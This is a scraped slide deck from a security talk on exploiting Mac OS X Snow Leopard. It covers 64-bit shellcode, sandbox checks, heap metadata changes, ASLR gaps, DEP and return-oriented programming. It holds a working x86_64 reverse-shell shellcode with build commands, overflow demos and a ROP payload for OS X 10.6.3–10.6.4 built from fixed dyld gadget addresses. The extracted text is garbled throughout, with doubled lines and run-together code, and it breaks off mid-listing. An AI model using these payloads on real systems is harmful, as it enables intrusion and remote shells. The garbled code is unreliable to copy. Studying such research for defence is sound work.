81
Mac OS X Hacking Mac OS X Hacking Snow Leopard Edition Snow Leopard Edition Charlie Miller Charlie Miller Independent Security Evaluators Independent Security Evaluators [email protected] [email protected] @0xcharlie @0xcharlie

Mac OS X Hacking Snow Leopard Edition

  • Upload
    claire

  • View
    70

  • Download
    3

Embed Size (px)

DESCRIPTION

Mac OS X Hacking Snow Leopard Edition. Charlie Miller Independent Security Evaluators [email protected] @0xcharlie. About me. Former US National Security Agency researcher First to hack the iPhone and G1 Android phone Winner of CanSecWest Pwn2Own: 2008, 2009, 2010 Author - PowerPoint PPT Presentation

Citation preview

Page 1: Mac OS X Hacking Snow Leopard Edition

Mac OS X HackingMac OS X HackingSnow Leopard EditionSnow Leopard Edition

Charlie MillerCharlie MillerIndependent Security EvaluatorsIndependent Security Evaluators

[email protected]@securityevaluators.com

@0xcharlie@0xcharlie

Page 2: Mac OS X Hacking Snow Leopard Edition

About meAbout me

Former US National Security Agency researcherFormer US National Security Agency researcher

First to hack the iPhone and G1 Android phoneFirst to hack the iPhone and G1 Android phone

Winner of CanSecWest Pwn2Own: 2008, 2009, 2010Winner of CanSecWest Pwn2Own: 2008, 2009, 2010

AuthorAuthor

Fuzzing for Software Security Testing and Quality Fuzzing for Software Security Testing and Quality AssuranceAssurance

The Mac Hacker’s HandbookThe Mac Hacker’s Handbook

PhD, CISSP, GCFA, etc.PhD, CISSP, GCFA, etc.

Page 3: Mac OS X Hacking Snow Leopard Edition

About this talkAbout this talk

The Mac Hackers Handbook came out in March The Mac Hackers Handbook came out in March 2009 and covered Tiger and Leopard2009 and covered Tiger and Leopard

That summer Snow Leopard came out and That summer Snow Leopard came out and broke many of the examplesbroke many of the examples

This talk covers those differences and how to This talk covers those differences and how to still exploit Macsstill exploit Macs

Page 4: Mac OS X Hacking Snow Leopard Edition

OverviewOverview

BackgroundBackground

Fun with 64-bit applicationsFun with 64-bit applications

SandboxingSandboxing

Topics in Heap overflowsTopics in Heap overflows

ASLRASLR

DEPDEP

Page 5: Mac OS X Hacking Snow Leopard Edition

64 bit64 bit

Many processes are now 64 bitMany processes are now 64 bit

Some older macs, circa 2007, are differentSome older macs, circa 2007, are different

By default, kernel is still 32 bit:By default, kernel is still 32 bit:

Darwin Charlie-Millers-Computer.local 10.4.0 Darwin Charlie-Millers-Computer.local 10.4.0 Darwin Kernel Version 10.4.0: Fri Apr 23 Darwin Kernel Version 10.4.0: Fri Apr 23 18:28:53 PDT 2010; 18:28:53 PDT 2010; root:xnu-1504.7.4~1/RELEASE_I386 i386root:xnu-1504.7.4~1/RELEASE_I386 i386

Page 6: Mac OS X Hacking Snow Leopard Edition

64-bit processes 64-bit processes (mostly)(mostly)

Page 7: Mac OS X Hacking Snow Leopard Edition

Older macs - all 32 bitOlder macs - all 32 bit

Page 8: Mac OS X Hacking Snow Leopard Edition

Safari (newer macs)Safari (newer macs)

Safari is 64-bitSafari is 64-bit

32-bit plugins are managed by WebKitPluginAgent32-bit plugins are managed by WebKitPluginAgent

Plugins may be either 32 or 64-bit (usually 32)Plugins may be either 32 or 64-bit (usually 32)

64-bit plugins (Java) are in Safari’s address space64-bit plugins (Java) are in Safari’s address space

$ pstree$ pstree...... | |-+= 27097 dr /System/Library/Frameworks/WebKit.framework/WebKitPluginAgent | | |--- 27106 dr | |-+= 27097 dr /System/Library/Frameworks/WebKit.framework/WebKitPluginAgent | | |--- 27106 dr /System/Library/Frameworks/WebKit.framework/WebKitPluginHost.app/Contents/MacOS/WebKitPluginHost | | \--- 27345 dr /System/Library/Frameworks/WebKit.framework/WebKitPluginHost.app/Contents/MacOS/WebKitPluginHost | | \--- 27345 dr /System/Library/Frameworks/WebKit.framework/WebKitPluginHost.app/Contents/MacOS/WebKitPluginHost/System/Library/Frameworks/WebKit.framework/WebKitPluginHost.app/Contents/MacOS/WebKitPluginHost

Page 9: Mac OS X Hacking Snow Leopard Edition

““Crash resiliency”Crash resiliency”

Page 10: Mac OS X Hacking Snow Leopard Edition

Older macsOlder macs

...and users who launch Safari under 32 bit...and users who launch Safari under 32 bit

Plugins run within Safari’s (32-bit) address Plugins run within Safari’s (32-bit) address spacespace

$ vmmap PID$ vmmap PID__TEXT 00001000-0052b000 [ 5288K] r-x/rwx SM=COW __TEXT 00001000-0052b000 [ 5288K] r-x/rwx SM=COW /Applications/Safari.app/Contents/MacOS/Safari/Applications/Safari.app/Contents/MacOS/Safari......__TEXT 19dcb000-1a50b000 [ 7424K] r-x/rwx SM=COW __TEXT 19dcb000-1a50b000 [ 7424K] r-x/rwx SM=COW /Users/cmiller/Library/Internet Plug-Ins/Flash /Users/cmiller/Library/Internet Plug-Ins/Flash Player.plugin/Contents/MacOS/Flash PlayerPlayer.plugin/Contents/MacOS/Flash Player

Page 11: Mac OS X Hacking Snow Leopard Edition

64-bit calling 64-bit calling conventionsconventions

Mac OS X uses the System V Application Binary Mac OS X uses the System V Application Binary Interface AMD64 Architecture Processor Interface AMD64 Architecture Processor Suppliment Suppliment

Arguments passed in rdi, rsi, rdx, rcx, r8, r9Arguments passed in rdi, rsi, rdx, rcx, r8, r9

or stack if more than that or larger than registeror stack if more than that or larger than register

rbx, rsp, rbp, r12-r15 are preserved across rbx, rsp, rbp, r12-r15 are preserved across function callsfunction calls

rax contains (first) return value. rdx secondrax contains (first) return value. rdx second

Page 12: Mac OS X Hacking Snow Leopard Edition

System callsSystem calls

syscall number in rax (+0x2000000)syscall number in rax (+0x2000000)

rcx will be clobbered, save it if you wantrcx will be clobbered, save it if you want

arguments in registers like calling functionarguments in registers like calling function

use syscall instructionuse syscall instruction

INT 0x80 can only pass 32-bit valuesINT 0x80 can only pass 32-bit values

According to FreeBSD mailing listAccording to FreeBSD mailing list

Page 13: Mac OS X Hacking Snow Leopard Edition

ShellcodeShellcode

x86 shellcode doesn’t typically workx86 shellcode doesn’t typically work

For example, no metasploit Mac OS X For example, no metasploit Mac OS X shellcode works on x86_64shellcode works on x86_64

Only public x86_64 OS X shellcode is from Only public x86_64 OS X shellcode is from @fjserna@fjserna

Connect() shellcode, contains NULL’sConnect() shellcode, contains NULL’s

Page 14: Mac OS X Hacking Snow Leopard Edition

osx/x86/osx/x86/shell_reverse_tcpshell_reverse_tcp

push push 0x100007fpush 0x100007fpush 0x5c1102ffmov 0x5c1102ffmov edi,espxor edi,espxor eax,eaxpush eax,eaxpush raxpush 0x1push raxpush 0x1push 0x2push 0x10mov 0x2push 0x10mov al,0x61int al,0x61int 0x800x80......

Stack is 64 bit, code expects 32Stack is 64 bit, code expects 320x7fff5fbffa58:0x7fff5fbffa58: 0x5c1102ff0x5c1102ff 0x000000000x00000000 0x0100007f0x0100007f 0x000000000x00000000

Wrong calling conventionWrong calling convention

Wrong syscall numberWrong syscall numberint 80 used int 80 used instead of instead of

syscall syscall

Page 15: Mac OS X Hacking Snow Leopard Edition

BITS 64SECTION .textGLOBAL _start_start:BITS 64SECTION .textGLOBAL _start_start: ; socket = 0x2000061 ; socket = 0x2000061 xor rdi, rdi inc rdi mov rsi, rdi inc rdi xor rdx, rdx mov eax, 0x2000061 syscall xor rdi, rdi inc rdi mov rsi, rdi inc rdi xor rdx, rdx mov eax, 0x2000061 syscall ; connect = 0x2000062 ; connect = 0x2000062 mov rdi, rax lea rsi, [rel sockaddr_in] xor rdx, rdx mov dl, 0x10 mov eax, 0x2000062 syscall mov r12, 3 xor rsi, rsi dec rsiduper: inc rsi mov rdi, rax lea rsi, [rel sockaddr_in] xor rdx, rdx mov dl, 0x10 mov eax, 0x2000062 syscall mov r12, 3 xor rsi, rsi dec rsiduper: inc rsi ; dup2 = 0x200005a ; dup2 = 0x200005a mov eax, 0x200005a syscall sub r12, 1 jne duper mov eax, 0x200005a syscall sub r12, 1 jne duper ; ; execve = 0x200003bexecve = 0x200003b lea rdi, [rel cmd] xor rdx, rdx push rdx push rdi mov rsi, rsp mov eax, 0x200003b syscall lea rdi, [rel cmd] xor rdx, rdx push rdx push rdi mov rsi, rsp mov eax, 0x200003b syscall ; exit = 0x2000001 ; exit = 0x2000001_exit: mov eax, 0x2000001 syscall section .datasockaddr_in: dd 0x5c110200 ; port 4444 dd 0x0100007f ; 127.0.0.1cmd: db '/bin/sh',0_exit: mov eax, 0x2000001 syscall section .datasockaddr_in: dd 0x5c110200 ; port 4444 dd 0x0100007f ; 127.0.0.1cmd: db '/bin/sh',0

Cleaner and smaller version of Cleaner and smaller version of that shellcode (120 bytes)that shellcode (120 bytes)

Compare with:Compare with:osx/x86/shell_reverse_tcp - 65 osx/x86/shell_reverse_tcp - 65

bytesbytes@fjserna’s was 165 bytes@fjserna’s was 165 bytes

Compile with:Compile with:/usr/bin/nasm -fmacho64 connect.s/usr/bin/nasm -fmacho64 connect.sld -e _start -o connect connect.old -e _start -o connect connect.o

Page 16: Mac OS X Hacking Snow Leopard Edition

ToolsTools

Some tools won’t work on 64-bitSome tools won’t work on 64-bit

pydbgpydbg

valgrindvalgrind

GDB still works fineGDB still works fine

Page 17: Mac OS X Hacking Snow Leopard Edition

SandboxingSandboxing

Implements fine-grained access controlsImplements fine-grained access controls

Accessing resources (sockets, files, shared Accessing resources (sockets, files, shared mem)mem)

Sending/receiving Mach messagesSending/receiving Mach messages

Sending/receiving BSD signalsSending/receiving BSD signals

Started via sandbox_init() call (or Started via sandbox_init() call (or sandbox_exec)sandbox_exec)

Page 18: Mac OS X Hacking Snow Leopard Edition

Mac OS X sandboxing Mac OS X sandboxing architecturearchitecture

User process calls sandbox_init() (in libSystem)User process calls sandbox_init() (in libSystem)

libSystem dynamically loads libSandbox for libSystem dynamically loads libSandbox for support functionssupport functions

Initiates action in the kernel via Initiates action in the kernel via SYS__mac_syscall system callSYS__mac_syscall system call

Sandbox.kext kernel module hooks syscalls via Sandbox.kext kernel module hooks syscalls via TrustedBSD interface and limits access as TrustedBSD interface and limits access as defined in policydefined in policy

Page 19: Mac OS X Hacking Snow Leopard Edition

Snow Leopard Snow Leopard sandboxingsandboxing

No client-side applications are sandboxed, No client-side applications are sandboxed, includingincluding

SafariSafari

MailMail

iTunesiTunes

Plugins including Flash and QuickTimePlugins including Flash and QuickTime

Page 20: Mac OS X Hacking Snow Leopard Edition

Can’t make a sandbox in a Can’t make a sandbox in a sandboxsandbox

To check if a process has been sandboxed, use To check if a process has been sandboxed, use GDB to try to put it in a sandboxGDB to try to put it in a sandbox

call sandbox_init()call sandbox_init()

If it succeeds, you’re not in a sandboxIf it succeeds, you’re not in a sandbox

If it fails, you’re in a sandbox alreadyIf it fails, you’re in a sandbox already

Page 21: Mac OS X Hacking Snow Leopard Edition

ExampleExample

SafariSafari

mDNSrespondermDNSresponder

(gdb) print (int) sandbox_init("pure-computation", 1, 0, (gdb) print (int) sandbox_init("pure-computation", 1, 0, 0)Reading symbols for shared libraries .. done$1 = 00)Reading symbols for shared libraries .. done$1 = 0

(gdb) print (int) sandbox_init("pure-computation", 1, 0, (gdb) print (int) sandbox_init("pure-computation", 1, 0, 0)$1 = -10)$1 = -1

BTW, running Safari after this is loads of funBTW, running Safari after this is loads of fun

Page 22: Mac OS X Hacking Snow Leopard Edition

Heap of painHeap of pain

Some significant improvements were made in Some significant improvements were made in the heap implementation in Snow Leopard the heap implementation in Snow Leopard compared to Leopardcompared to Leopard

Check out Libc source code from Check out Libc source code from opensource.apple.comopensource.apple.com

Change from scalable_malloc.c to Change from scalable_malloc.c to magazine_malloc.cmagazine_malloc.c

Page 23: Mac OS X Hacking Snow Leopard Edition

LeopardLeopard

Free list pointers are checksummed for error Free list pointers are checksummed for error detection only (fixed value used)detection only (fixed value used)

static INLINE static INLINE uintptr_tfree_list_checksum_ptr(void *p)uintptr_tfree_list_checksum_ptr(void *p){ ptr_union ptr; ptr.p = p;...{ ptr_union ptr; ptr.p = p;... return (ptr.u >> 2) | 0xC0000003U;}return (ptr.u >> 2) | 0xC0000003U;}

Page 24: Mac OS X Hacking Snow Leopard Edition

Snow LeopardSnow Leopard

In Snow Leopard, random security cookie usedIn Snow Leopard, random security cookie used

...... szone->cookie = arc4random();...szone->cookie = arc4random();...static INLINE uintptr_tfree_list_checksum_ptr(szone_t *szone, static INLINE uintptr_tfree_list_checksum_ptr(szone_t *szone, void *ptr){ uintptr_t p = (uintptr_t)ptr; return p | void *ptr){ uintptr_t p = (uintptr_t)ptr; return p | free_list_gen_checksum(p ^ szone->cookie);}free_list_gen_checksum(p ^ szone->cookie);}

static INLINE uintptr_t free_list_gen_checksum(uintptr_t ptr){ static INLINE uintptr_t free_list_gen_checksum(uintptr_t ptr){ uint8_t chk; chk = (unsigned char)(ptr >> 0); chk += uint8_t chk; chk = (unsigned char)(ptr >> 0); chk += (unsigned char)(ptr >> 8); chk += (unsigned char)(ptr >> (unsigned char)(ptr >> 8); chk += (unsigned char)(ptr >> 16); chk += (unsigned char)(ptr >> 24); return chk & 16); chk += (unsigned char)(ptr >> 24); return chk & (uintptr_t)0xF;}(uintptr_t)0xF;}

Page 25: Mac OS X Hacking Snow Leopard Edition

Heap metadata Heap metadata overwritesoverwrites

In Leopard it is trivial to overwrite heap In Leopard it is trivial to overwrite heap metadata to get arbitrary 4-byte writes (see metadata to get arbitrary 4-byte writes (see MHH)MHH)

You now how to fake the checksumsYou now how to fake the checksums

In Snow Leopard, this can’t easily be done due In Snow Leopard, this can’t easily be done due to security cookieto security cookie

Page 26: Mac OS X Hacking Snow Leopard Edition

Application data Application data overflowsoverflows

#include <iostream>using namespace std;class Base{public:#include <iostream>using namespace std;class Base{public: virtual void function1() {};virtual void function1() {}; virtual void function2() {};}; int main(){virtual void function2() {};}; int main(){ int *buf = (int *)malloc(4*sizeof(int));;int *buf = (int *)malloc(4*sizeof(int));; memset(buf, 0x41, 4*sizeof(int));memset(buf, 0x41, 4*sizeof(int)); Base *pClass = new Base(); Base *pClass = new Base(); buf[4] = (int) buf;buf[4] = (int) buf; // // overflow into pClass on heapoverflow into pClass on heap pClass->function1();}pClass->function1();}

(gdb) rStarting program: /Users/cmiller/test2 Reading symbols for (gdb) rStarting program: /Users/cmiller/test2 Reading symbols for shared libraries ++. doneProgram received signal EXC_BAD_ACCESS, shared libraries ++. doneProgram received signal EXC_BAD_ACCESS, Could not access memory.Reason: KERN_INVALID_ADDRESS at address: Could not access memory.Reason: KERN_INVALID_ADDRESS at address: 0x414141410x41414141 in ?? ()0x414141410x41414141 in ?? ()

Page 27: Mac OS X Hacking Snow Leopard Edition

ASLRASLR

No significant change from LeopardNo significant change from Leopard

Library load locations are randomized per machineLibrary load locations are randomized per machine

Not per application or application launchNot per application or application launch

See /var/db/dyld/See /var/db/dyld/

dyld, application binary, heap, stack are not dyld, application binary, heap, stack are not randomizedrandomized

64-bit memory space allow for “more” 64-bit memory space allow for “more” randomizationrandomization

Page 28: Mac OS X Hacking Snow Leopard Edition

Fixed RX areas (ROP Fixed RX areas (ROP targets)targets)

dyld: 0x7fff5fc00000dyld: 0x7fff5fc00000

binary: 0x100000000binary: 0x100000000

commpage 64-bit: 0x7fffffe00000commpage 64-bit: 0x7fffffe00000

Page 29: Mac OS X Hacking Snow Leopard Edition

Fun with wild writesFun with wild writes

Many times with exploitation, the “primitive” is Many times with exploitation, the “primitive” is to be able to write a DWORD to memoryto be able to write a DWORD to memory

This write should eventually lead to getting This write should eventually lead to getting control of $pccontrol of $pc

Page 30: Mac OS X Hacking Snow Leopard Edition

32-bit processes32-bit processes

Still use lazy symbol bindingStill use lazy symbol binding

At fixed, predictable location in memoryAt fixed, predictable location in memory

Is writableIs writable

Page 31: Mac OS X Hacking Snow Leopard Edition

32-bit example32-bit example

int main(){int main(){ int *p = 0x201c;int *p = 0x201c; *p = 0xdeadbeef;}$ gcc -g *p = 0xdeadbeef;}$ gcc -g -m32-m32 -o -o test test.cProgram received signal EXC_BAD_ACCESS, Could not access test test.cProgram received signal EXC_BAD_ACCESS, Could not access memory.Reason: KERN_INVALID_ADDRESS at address: memory.Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef0xdeadbeef in ?? ()0xdeadbeef0xdeadbeef in ?? ()

Page 32: Mac OS X Hacking Snow Leopard Edition

64-bit64-bit

No easy function pointers like in 32-bit (no No easy function pointers like in 32-bit (no __IMPORT)__IMPORT)

However, the heap is not randomizedHowever, the heap is not randomized

szone pointers are available starting at szone pointers are available starting at 0x1000040100x100004010

Memory management pointersMemory management pointers

In particular szone_malloc()In particular szone_malloc()

Page 33: Mac OS X Hacking Snow Leopard Edition

64-bit example64-bit example

int main(){ long int *p = 0x100004018; *p = int main(){ long int *p = 0x100004018; *p = 0xdeadbeefbabecafe; malloc(16);}gcc -g -o test test.cProgram 0xdeadbeefbabecafe; malloc(16);}gcc -g -o test test.cProgram received signal EXC_BAD_ACCESS, Could not access memory.Reason: 13 at received signal EXC_BAD_ACCESS, Could not access memory.Reason: 13 at address: 0x00000000000000000x00007fff821ddf06 in malloc_zone_malloc ()address: 0x00000000000000000x00007fff821ddf06 in malloc_zone_malloc ()(gdb) x/i $pc0x7fff821ddf06 <malloc_zone_malloc+78>:(gdb) x/i $pc0x7fff821ddf06 <malloc_zone_malloc+78>: call QWORD PTR call QWORD PTR [r13+0x18](gdb) x/4wx $r13+0x180x100004018:[r13+0x18](gdb) x/4wx $r13+0x180x100004018: 0xbabecafe0xbabecafe 0xdeadbeef0xdeadbeef

0x821e01da0x821e01da 0x00007fff0x00007fff

Page 34: Mac OS X Hacking Snow Leopard Edition

DEPDEP

Leopard DEPLeopard DEP

Stack was protected with DEPStack was protected with DEP

Heap was executable, even though page Heap was executable, even though page permissions indicated it was notpermissions indicated it was not

Heap could always be executed, even if Heap could always be executed, even if explicitly set to not allow executionexplicitly set to not allow execution

Page 35: Mac OS X Hacking Snow Leopard Edition

Snow Leopard DEPSnow Leopard DEP

Stack and heap are protected with DEP (64-bit Stack and heap are protected with DEP (64-bit processes)processes)

This is the biggest security difference between This is the biggest security difference between Leopard and Snow LeopardLeopard and Snow Leopard

32 bit processes (i.e. Flash and QT plugin) do not 32 bit processes (i.e. Flash and QT plugin) do not have DEP on heaphave DEP on heap

Exploiting QT or Flash is very easy!Exploiting QT or Flash is very easy!

32 bit processes (old macs) do not have DEP on 32 bit processes (old macs) do not have DEP on heapheap

Page 36: Mac OS X Hacking Snow Leopard Edition

What about a Flash JIT What about a Flash JIT spray?spray?

Flash runs in a separate process, so can’t be Flash runs in a separate process, so can’t be used for JIT spray for (non-Flash) browser bugsused for JIT spray for (non-Flash) browser bugs

Page 37: Mac OS X Hacking Snow Leopard Edition

JIT spray within SafariJIT spray within Safari

Potential candidates are Java and JavascriptPotential candidates are Java and Javascript

$ vmmap 27581 | grep 'rwx/rwx'Java 000000011e001000-$ vmmap 27581 | grep 'rwx/rwx'Java 000000011e001000-0000000121001000 [ 48.0M] rwx/rwx SM=PRV JS JIT generated code 0000000121001000 [ 48.0M] rwx/rwx SM=PRV JS JIT generated code 0000451ca3200000-0000451cab200000 [128.0M] rwx/rwx SM=PRV JS JIT generated code 0000451ca3200000-0000451cab200000 [128.0M] rwx/rwx SM=PRV JS JIT generated code 0000451cab200000-0000451d23200000 [ 1.9G] rwx/rwx SM=NUL 0000451cab200000-0000451d23200000 [ 1.9G] rwx/rwx SM=NUL

Page 38: Mac OS X Hacking Snow Leopard Edition

JavaJava

Java memory region is allocated at the “top” of Java memory region is allocated at the “top” of the heap the heap

Heap is not randomized so you have a Heap is not randomized so you have a reasonable idea of where to find itreasonable idea of where to find it

Region is only 48mb and cannot be expandedRegion is only 48mb and cannot be expanded

Not a reliable choice for exploitationNot a reliable choice for exploitation

Page 39: Mac OS X Hacking Snow Leopard Edition

JavascriptJavascript

Webkit JS RWX region is much larger: 1.9 gbWebkit JS RWX region is much larger: 1.9 gb

However, Webkit randomizes the load address, However, Webkit randomizes the load address, those bastardsthose bastards

#define INITIAL_PROTECTION_FLAGS (PROT_READ | PROT_WRITE | PROT_EXEC)...#define INITIAL_PROTECTION_FLAGS (PROT_READ | PROT_WRITE | PROT_EXEC)... // Cook up an address to allocate at, using the following recipe: // 17 bits of // Cook up an address to allocate at, using the following recipe: // 17 bits of zero, stay in userspace kids. // 26 bits of randomness for ASLR. // 21 bits of zero, stay in userspace kids. // 26 bits of randomness for ASLR. // 21 bits of zero, at least stay aligned within one level of the pagetables. // // But! - as a zero, at least stay aligned within one level of the pagetables. // // But! - as a temporary workaround for some plugin problems (rdar://problem/6812854), // for now instead temporary workaround for some plugin problems (rdar://problem/6812854), // for now instead of 2^26 bits of ASLR lets stick with 25 bits of randomization plusof 2^26 bits of ASLR lets stick with 25 bits of randomization plus // 2^24, which should put up somewhere in the middle of usespace (in the address range // 2^24, which should put up somewhere in the middle of usespace (in the address range // 0x200000000000 .. 0x5fffffffffff). intptr_t randomLocation = arc4random() & ((1 << // 0x200000000000 .. 0x5fffffffffff). intptr_t randomLocation = arc4random() & ((1 << 25) - 1); randomLocation += (1 << 24); randomLocation <<= 21; m_base = 25) - 1); randomLocation += (1 << 24); randomLocation <<= 21; m_base = mmapmmap(reinterpret_cast<void*>((reinterpret_cast<void*>(randomLocationrandomLocation), m_totalHeapSize, INITIAL_PROTECTION_FLAGS, ), m_totalHeapSize, INITIAL_PROTECTION_FLAGS, MAP_PRIVATE | MAP_ANON, VM_TAG_FOR_EXECUTABLEALLOCATOR_MEMORY, 0);MAP_PRIVATE | MAP_ANON, VM_TAG_FOR_EXECUTABLEALLOCATOR_MEMORY, 0);

Page 40: Mac OS X Hacking Snow Leopard Edition

The good newsThe good news

The location of dyld is not randomizedThe location of dyld is not randomized

The location of the binary is not randomizedThe location of the binary is not randomized

The location of the commpage is not The location of the commpage is not randomizedrandomized

We can perform Return Oriented Programming We can perform Return Oriented Programming (ROP)(ROP)

Page 41: Mac OS X Hacking Snow Leopard Edition

What happened to What happened to __IMPORT?__IMPORT?

In 32 bit processes, __IMPORT sections are RWXIn 32 bit processes, __IMPORT sections are RWX

Also provide __jump_table pointers to Also provide __jump_table pointers to overwriteoverwrite

In 64 bit processes, no __IMPORT sections!In 64 bit processes, no __IMPORT sections!

Page 42: Mac OS X Hacking Snow Leopard Edition

DifficultiesDifficulties

Passing parameters by register makes things Passing parameters by register makes things harder than in x86harder than in x86

dyld is not very largedyld is not very large

problems with rbpproblems with rbp

Page 43: Mac OS X Hacking Snow Leopard Edition

The problem with RBPThe problem with RBP

If you want to use code that returns, have to If you want to use code that returns, have to deal with the leave instructiondeal with the leave instruction

Leave -> mov rsp, rbp; pop rbpLeave -> mov rsp, rbp; pop rbp

If rbp doesn’t point to your data, you lose If rbp doesn’t point to your data, you lose control of the ROPcontrol of the ROP

Page 44: Mac OS X Hacking Snow Leopard Edition

More on RBPMore on RBP

Of the 1570 occurrences of \xc3 in dyld, only 283 (18%) Of the 1570 occurrences of \xc3 in dyld, only 283 (18%) are “usable”, i.e. don’t have a leave instruction or are “usable”, i.e. don’t have a leave instruction or undefined bytes before itundefined bytes before it

Unless you want to assume address of your data is in rbp, Unless you want to assume address of your data is in rbp, you have only 283 primitives to work withyou have only 283 primitives to work with

Even if rbp points to your stuff, can only use a “leaver” Even if rbp points to your stuff, can only use a “leaver” onceonce

Once you know where you are in memory, it is pretty easy Once you know where you are in memory, it is pretty easy to develop ROP payloadsto develop ROP payloads

afaik, there are no public x86_64 Mac OS X ROP payloads afaik, there are no public x86_64 Mac OS X ROP payloads availableavailable

Page 45: Mac OS X Hacking Snow Leopard Edition

Example vulnerable Example vulnerable programprogram

#include <string.h>char *my_memcpy(char *dst, char *src, int len){ char *dst_ptr = dst; while(len-->0) *dst_ptr++ = *src++; return dst;}int foo(long *data, int len){ char buf[4]; my_memcpy(buf, (char *) data, #include <string.h>char *my_memcpy(char *dst, char *src, int len){ char *dst_ptr = dst; while(len-->0) *dst_ptr++ = *src++; return dst;}int foo(long *data, int len){ char buf[4]; my_memcpy(buf, (char *) data, len);}int main(){ foo(shellcode2, sizeof(shellcode2));}len);}int main(){ foo(shellcode2, sizeof(shellcode2));}

When foo returns, rax and rdi happen When foo returns, rax and rdi happen to contain the address of buf[]to contain the address of buf[]

Page 46: Mac OS X Hacking Snow Leopard Edition

64-bit ROP payload from 64-bit ROP payload from dylddyld

We don’t know the address of buf[] or shellcode2[]We don’t know the address of buf[] or shellcode2[]

rax, rdi contain address of bufrax, rdi contain address of buf

Pivot to raxPivot to rax

Idea: copy data from rax to fixed location in Idea: copy data from rax to fixed location in memory which is RWmemory which is RW

We can hardcode rsp, rbp at that point to call We can hardcode rsp, rbp at that point to call vm_protect on this fixed locationvm_protect on this fixed location

Finally, execute our shellcodeFinally, execute our shellcode

Page 47: Mac OS X Hacking Snow Leopard Edition

Payload (10.6.3-10.6.4)Payload (10.6.3-10.6.4)

long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3long shellcode2[] = { 0xdeadbeef00000000, 0xdeadbeef00000001, 0x00007fff5fc23396, // rip3 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24c8b, // rip1 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0x00007fff5fc24cdc, // rip4 0xdeadbeef00000005, 0x00007fff5fc23396, // rip5 0xdeadbeef00000007, // will get &buf 0xdeadbeef00000007, // will get &buf 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // 0x00007fff5fc24cdd, // rip6 0x00007fff5fc10026, // rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10rip7 0x00007fff5fc50098, 0x00007fff5fc24cdd, // rip8 0x0000000000000200, 0x00007fff5fc24cdc, // rip9 0x00007fff5fc50001, 0x00007fff5fc24cdd, // rip10 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc24cdd, // rip2,rip11 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc1ddc0, // rip12 0x00007fff5fc1018b, // rip13 0x00007fff5fc500e8, 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0x00007fff5fc24cdc, // rip14 0x0000000000001001, 0x00007fff5fc1ddc0, // rip15 0x00007fff5fc01c1e, // rip16 0x0000000000000007, 0x00007fff5fc4ff6e, 0x00007fff5fc50000, 0x0000000000000000, 0xdeadbeef00000028, 0x00007fff5fc50110, 0x00007fff5fc0d34a, // rip17 0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};0xdeadbeef00000031, 0xdeadbeef00000032, 0xdeadbeef00000033, 0xdeadbeef00000034, 0x00007fff5fc50120, // rip18 0xfeeb909090909090 // Put shellcode here};

step 1: step 1: pivot pivot to raxto rax

Page 48: Mac OS X Hacking Snow Leopard Edition

0x00007fff5fc24c8b0x00007fff5fc24c8b mov QWORD PTR [rdi+0x38],raxmov QWORD PTR [rdi+0x38],rax0x00007fff5fc24c8f0x00007fff5fc24c8f mov rbx,QWORD PTR [rdi+0x20]0x00007fff5fc24c93mov rbx,QWORD PTR [rdi+0x20]0x00007fff5fc24c93 mov QWORD PTR [rax],rbxmov QWORD PTR [rax],rbx0x00007fff5fc24c960x00007fff5fc24c96 mov rbx,QWORD PTR [rdi+0x80]0x00007fff5fc24c9dmov rbx,QWORD PTR [rdi+0x80]0x00007fff5fc24c9d mov QWORD PTR [rax+0x8],rbxmov QWORD PTR [rax+0x8],rbx0x00007fff5fc24ca10x00007fff5fc24ca1mov rax,QWORD PTR [rdi]0x00007fff5fc24ca4mov rax,QWORD PTR [rdi]0x00007fff5fc24ca4 mov rbx,QWORD PTR [rdi+0x8]0x00007fff5fc24ca8mov rbx,QWORD PTR [rdi+0x8]0x00007fff5fc24ca8 mov rcx,QWORD PTR [rdi+0x10]0x00007fff5fc24cacmov rcx,QWORD PTR [rdi+0x10]0x00007fff5fc24cac mov rdx,QWORD PTR [rdi+0x18]0x00007fff5fc24cb0mov rdx,QWORD PTR [rdi+0x18]0x00007fff5fc24cb0 mov rsi,QWORD PTR [rdi+0x28]0x00007fff5fc24cb4mov rsi,QWORD PTR [rdi+0x28]0x00007fff5fc24cb4 mov mov rbp,QWORD PTR [rdi+0x30]0x00007fff5fc24cb8rbp,QWORD PTR [rdi+0x30]0x00007fff5fc24cb8 mov r8,QWORD PTR [rdi+0x40]0x00007fff5fc24cbcmov r8,QWORD PTR [rdi+0x40]0x00007fff5fc24cbc mov r9,QWORD PTR [rdi+0x48]0x00007fff5fc24cc0mov r9,QWORD PTR [rdi+0x48]0x00007fff5fc24cc0 mov r10,QWORD PTR [rdi+0x50]mov r10,QWORD PTR [rdi+0x50]0x00007fff5fc24cc40x00007fff5fc24cc4 mov r11,QWORD PTR [rdi+0x58]mov r11,QWORD PTR [rdi+0x58]0x00007fff5fc24cc80x00007fff5fc24cc8 mov mov r12,QWORD PTR [rdi+0x60]0x00007fff5fc24cccr12,QWORD PTR [rdi+0x60]0x00007fff5fc24ccc mov r13,QWORD PTR [rdi+0x68]0x00007fff5fc24cd0mov r13,QWORD PTR [rdi+0x68]0x00007fff5fc24cd0 mov r14,QWORD PTR [rdi+0x70]0x00007fff5fc24cd4mov r14,QWORD PTR [rdi+0x70]0x00007fff5fc24cd4 mov r15,QWORD PTR [rdi+0x78]mov r15,QWORD PTR 